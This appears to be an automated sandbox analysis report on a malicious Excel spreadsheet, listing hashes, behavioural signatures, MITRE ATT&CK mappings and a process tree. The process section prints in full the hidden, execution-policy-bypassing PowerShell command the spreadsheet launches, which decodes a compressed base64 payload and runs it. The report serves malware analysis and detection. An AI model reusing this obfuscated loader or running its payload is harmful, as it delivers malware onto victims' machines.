Analysis
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max time kernel
15s -
max time network
20s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
07/11/2024, 21:33
Behavioral task
behavioral1
Sample
455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls
Resource
win7-20240903-en
General
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Target
455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls
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Size
43KB
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MD5
2ac001ad8a359d4b60a75d45159f0fd3
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SHA1
861846974d8b7e2e5d263e31c4cbc11dc3b0ff66
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SHA256
455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824
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SHA512
5ab995228398a19b7a4dc937d1bd8632497cc0302d21f5b53b712c6b3f7805bbb4295511c8076c7483602de64885cfde7846dd7c32cce3182a03f43d9aa3b0df
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SSDEEP
768:yzmB+k3hOdsylKlgryzc4bNhZFGzE+cL2knAJgRX42AAbXwrlIRbxCca8yfMy:yk3hOdsylKlgryzc4bNhZFGzE+cL2kno
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2052 2080 powershell.exe 29 -
Blocklisted process makes network request 6 IoCs
flow pid Process 5 2052 powershell.exe 7 2052 powershell.exe 9 2052 powershell.exe 11 2052 powershell.exe 13 2052 powershell.exe 14 2052 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2052 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE -
Office loads VBA resources, possible macro or embedded object present
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Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2080 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2052 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2052 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 2080 EXCEL.EXE 2080 EXCEL.EXE 2080 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2080 wrote to memory of 2052 2080 EXCEL.EXE 30 PID 2080 wrote to memory of 2052 2080 EXCEL.EXE 30 PID 2080 wrote to memory of 2052 2080 EXCEL.EXE 30 PID 2080 wrote to memory of 2052 2080 EXCEL.EXE 30
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\455b17b0f0421a7a7ae4dede39079526303e9cb16c5db68f98ebf0de9cc1d824.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2080 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\" nVRRb9pIEH7nV4ysPclWsHGApg1WpKakaXNXUi6kSe8QOi32gLesd531OphQ/vuNiY+kr/fi9Yxn5/tm5huzBziD905reiHlVZZrY11nhUah7HWDRErHm0FezqWIobDc0oGVpe9wpezYGrgTxpZcnkupY7fxyfw8SQwWRRtKoSwk64l4wsZYPMdSKq1uN/mLe2y0xdh60f/mMjTILd6mdCQvXJ7tc2uNmJcWX5GyPF49MzsEk8/YA/uDe8wNz5CwDpf3WFTCpeTL15HPaFcJleG8b1mz2bKEOuycfxhefLz89Pnq9z++jK6/jv+8mdx+u7v//tfffB4nuFim4sdKZkrnD6aw5eO62jyFx91e/83J23enTnCrhyk358bwjeu1FqWKa3SIXfbobcGgLakPrjsldtPZDNjjrzfgJ4yQF6VB/+v8B7UZ/EmZeQE94DcIq+MwBB8f4LTr7V6yW9iyRc3eiY6DoPdzoam4OPX1PgV9OzoDlkzdJVrfcJXoDPyMVyKjrCwJvqBa2tSb7aKGH1tEr7IjbCE3OqZWw3bKa6IzVhEcPY6A/bOLAFVCFCpiX5AaGlzYugrX/xk3e1wvUKQF19vtXgEst0CMwWXiLIyYAF9aOOnT29GRt2UpIdmIrWrAhBAwAmgKpCsSBPFdUVxRB6Q1IxmBWIBLPS88Dw5dpwiCbQzn9PH7N4fKnF6jDSZoHkWMY01jGXHFl2hmg0HtRTNEY8VC0CbgHZci2ctpyKWckywJc8usKXEXsYyMayq4GdxkU1jMgjr9Pc6HUqCyUYtlwWcSHpoiIPm6Tlmg8QlPWacNzkg/CSl5px+ExF9nOYHNJVU8mlx9hJPgOIJ7QX1cF3B96zlexBSBLiOYfthY3Asqr9uQBRd6raTmyQW33HVSa/Ni0OkUlhoXxFKXSSW5WdK7zgb9fq/TibsdphzwWkxTBuLm11tPOsFsjuYCF0KJ/bTYA/jXtGXgEJVe1wFfkVXkPEbYey6buRbg57wobGrKFqvOmB4MfvkLhW2WN9prh1UvDEM6+qEXTZvW3ZTKigwDWlo0Om+GVAQjboqUS5rQUOcbl+VtCNswfd7tmcsq2ikyel3X89pwAKlLoyuvfz6E2GZVuz7Cevd0aX1VShLQ/gfjTyRiTiuIsSaFvzvph+GOhBCn292/ \" )))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2052
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize342B
MD5f8eb24dbc39f7728ae550d4a8a251483
SHA142ecbf852de98f29b60a84b9302bf732d43f7b09
SHA256602e4cfc30d8355756c2f058041f793107959252da0954e5c0675190970b5285
SHA512a993ea954d723534d2a4e8313f6e3d2f017c2f17faed6126c00184f817db2f92d15c197a77d8291d3e3d17c4f565f18f79a3209a7d35dfa0e7f606510d406f74
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b